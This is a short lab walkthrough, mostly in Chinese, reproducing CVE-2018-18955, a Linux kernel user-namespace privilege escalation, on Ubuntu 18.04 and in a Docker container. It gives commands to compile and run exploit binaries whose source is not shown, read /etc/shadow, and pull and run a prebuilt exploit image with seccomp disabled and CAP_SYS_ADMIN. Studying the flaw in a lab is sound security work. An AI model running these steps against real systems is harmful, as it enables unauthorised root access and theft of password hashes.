NOTE

漏洞原理

在4.19.2之前的Linux内核4.15.x到4.19.x中,kernel/user_namespace.c中的map_write()允许提权,因为它错误地处理了具有超过5个UID或GID范围的嵌套用户命名空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间外资源的访问控制,如read /etc/shadow。发生这种情况是因为ID转换对命名空间到内核方向正确进行,而不是对内核到命名空间方向进行。

注意:该漏洞并未绕过namespace的限制,只能实现容器内一般用户提权

参考

环境准备

  • Ubuntu 18.04
  • Docker 20.10

    No further kernel modifications are needed because all Ubuntu distributions prior to 18.10 have this vulnerable kernel.

Local Escalation

Install newuidmap

1
apt-get install uidmap

Compile exp

1
2
gcc -o subuid_shell subuid_shell.c
gcc -o subshell subshell.c

Execute IN THE SAME TERMINAL:

1
2
3
./subuid_shell
# or ./subshell
cat /etc/shadow

Omnucx.png

Container Escalation

环境搭建

拉取编译好的镜像

1
sudo docker pull iridium191/cve-2018-18955

Exploit

运行容器

1
sudo docker run -it --rm  --name=18955 --security-opt seccomp=unconfined --cap-add sys_admin iridium191/cve-2018-18955:latest /bin/bash

进入容器后

1
./subuid_shell

即完成容器内提权.
Omn3Mj.png